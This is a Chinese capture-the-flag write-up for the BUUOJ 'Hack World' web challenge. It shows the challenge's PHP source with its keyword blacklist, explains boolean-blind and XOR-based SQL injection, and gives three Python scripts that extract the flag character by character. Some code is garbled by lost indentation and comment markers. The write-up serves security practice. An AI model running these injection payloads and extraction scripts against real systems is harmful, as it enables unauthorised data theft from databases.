知识点：题目已经告知列名和表明为flag，接下来利用ascii和substr函数即可进行bool盲注

eg:

id=(ascii(substr((select(flag)from(flag)),1,1))<128)

0x01

看了网上的源码发现：

<?php

$dbuser='root';

$dbpass='root';

function safe($sql){

#被过滤的内容 函数基本没过滤

$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');

foreach($blackList as $blackitem){

if(stripos($sql,$blackitem)){

return False; } } return True;

} i

f(isset($_POST['id'])){

$id = $_POST['id'];

}else

{ die();

}

$db = mysql_connect("localhost",$dbuser,$dbpass); i

f(!$db){

die(mysql_error()); }

mysql_select_db("ctf",$db);

if(safe($id)){

$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");

if($query){

$result = mysql_fetch_array($query);

if($result){

echo $result['content'];

}else{

echo "Error Occured When Fetch Result.";

}

}else{

var_dump($query);

} }else{

die("SQL Injection Checked."); }

过滤了一堆东西，可以看到很多函数没有过滤，

接下来就想办法借助函数构造注入就可以了。

借助substr函数截取flag中的内容，长度依次增加。用if函数判断截取出来的内容是什么，这里需要穷举。如果判断成功，返回1，否则返回2。

0x2解题

贴上wp脚本

import requests

import time

url是随时更新的，具体的以做题时候的为准

url = 'http://40c9be7a-36f0-4e80-94ca-d1ac9e121947.node1.buuoj.cn/index.php'

data = {"id":""}

flag = 'flag{'

i = 6

while True:

从可打印字符开始

begin = 32

end = 126

tmp = (begin+end)//2

while begin<end:

    print(begin,tmp,end)

    time.sleep(1)

    data["id"] = "if(ascii(substr((select       flag        from    flag),{},1))>{},1,2)".format(i,tmp)

    r = requests.post(url,data=data)

    if 'Hello' in r.text:

        begin = tmp+1

        tmp = (begin+end)//2

    else:

        end = tmp

        tmp = (begin+end)//2

flag+=chr(tmp)

print(flag)

i+=1

if flag[-1]=='}':

    break

0x03 解法二

看的网上的wp还有一种解法是通过异或

在爆flag的时候发现有过滤 :select,show,""……很是难受，后来在师傅的博客上看到了这种方法：

id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))

附上脚本爆破

#!/usr/bin/python

#-*-coding:utf-8 -*-

import requests

import re

def flag_get(start,f,url):    #确定start位的字符

	a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))='+str(f)+'),0,1))'

	data = {'id': a }

	url = 'http://76333ea2-9071-468b-ad3c-930e98a4ead2.node1.buuoj.cn/index.php'

	r= requests.post(url, data)

	s=r.text

	#print(s)

	if 'Hello' in s:

		return 1

	else:

		return 0

def flag_find(start,f,url): #确定

	a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))>'+str(f)+'),0,1))'

	data = {'id': a }

	url = 'http://76333ea2-9071-468b-ad3c-930e98a4ead2.node1.buuoj.cn/index.php'

	r= requests.post(url, data)

	s=r.text

	#print(s)

	if 'Hello' in s:

		return 1

	else:

		return 0

if __name__ == '__main__':

	url = 'http://76333ea2-9071-468b-ad3c-930e98a4ead2.node1.buuoj.cn/index.php'

	flag_kouhao=125

	flag=''

	num=1       #从第num位开始爆破

	while 1:

		start=32   #ascii的起始范围（10进制）

		last=126   #ascii的终止范围（10进制）

		mid=int((start+last)/2)

		while 1:

			if(flag_get(num,flag_kouhao,url)):

				flag=flag+'}'

				print('flag     is    :'+flag)

				exit(1)

			print('strat is '+str(start))

			print(' mid  is '+str(mid))

			print('last  is '+str(last))

			print('****************************************')

			if(flag_find(num,mid,url)):

				start=mid

				mid=int((start+last)/2)

				if ((last-start)<5):

					break

			else:

				last=mid

				mid=int((start+last)/2)

				if ((last-start)<5):

					break

		print(start)

		print(last)

		print('****************************************')

		for i in range(start,last+1):

			print(i)

			if(flag_get(num,i,url)):

				f=chr(i)

				flag=flag+f

				print('****************************************')

				print(' num is '+str(num))

				print('char is '+f)

				print('flag is '+flag)

				print('****************************************')

				break

		num=num+1

	print(flag)

exp2：

coding:utf-8

import requests

from lxml import etree

def a():

url="http://b995ff2b-d867-4580-80c2-3fd1e4b25cb4.node3.buuoj.cn/"

flag="Hello, glzjin wants a girlfriend."

final=""

stop=0

for i in range(1,1290):

print(""50,i,""50)

stop=0

for j in range(32,129):

stop = j

data={"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" %(i,j)}

re = requests.post(url=url,data=data).text.replace('\n','')

html = etree.HTML(re).xpath("//text()")

# print(">>",html)

if flag in html:

final+=chr(j)

print("\n\t\t\t\t",final)

break

     if stop >= 128:

        print("*"*50,"结束")

        print(">>",final)

        break

if name == 'main':

a()

参考链接

https://www.cnblogs.com/kevinbruce656/p/11342580.html

https://blog.csdn.net/weixin_43345082/article/details/99062970

巴特西

[CISCN2019 华北赛区 Day2 Web1]Hack World